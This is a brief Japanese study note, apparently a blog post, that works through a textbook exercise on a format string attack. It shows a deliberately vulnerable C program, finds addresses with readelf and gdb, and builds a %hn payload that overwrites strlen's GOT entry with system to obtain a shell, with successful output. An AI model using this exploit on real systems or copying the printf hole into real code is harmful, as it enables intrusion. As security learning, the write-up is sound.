セキュリティコンテストチャレンジブック[書式文字列攻撃(got)]
書式文字列攻撃を試してみる。
strlen関数をsytem関数に書換え、 /bin/shを起動する。
おそらくp123の表の、 3行目の1列目は、[%43272x]ではなく[%41352x] 4行目の3列目は、[43280]ではなく[41360]
#include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char str[128]; fgets(str, 128, stdin); printf(str); fgets(str, 128, stdin); printf("%d\n", strlen(str)); return 0; }
strlen の位置を確認。
$ readelf -r got | less 0804a01c 00000507 R_386_JUMP_SLOT 00000000 strlen
関数system の位置を確認。
gdb -q got b main run p system $1 = {<text variable, no debug info>} 0xf7e4d190 <system>
$ echo 'AAAA%p,%p,%p,%p,%p,%p,%p,%p' | ./got AAAA0x80,0xf7770c20,0xffcfa454,(nil),(nil),(nil),0x41414141,0x252c7025 28
AAAAは7番目に出現。
よって、7番目に[/bin/sh]を入れて、 うまく起動するようにする。
system関数のアドレス 0xf7e4d190 を2つに分けリトルエンディアンとして扱う。 strlenのアドレスx0804a01c の値を書き換える。 書き込む値はprint関数で出力した文字数となるので、 計算する。
0xd190 = 53648 ⇒ 53648 - 8 = 53640 0xf7e4 = 63460 ⇒ 63460 - 53648 = 9812
\x1c\xa0\x04\x08 \x1e\xa0\x04\x08 %53640x %7$hn # 書込み %9812x %8$hn # 書込み \n /bin/sh
(echo -e '\x1c\xa0\x04\x08\x1e\xa0\x04\x08%53640x%7$hn%9812x%8$hn\n/bin/sh'; cat) | ./got f7fb7c20 ls fsb fsb.c fsb.c~ got got.c got.c.txt got.c~ peda-session-got.txt
うまくいった。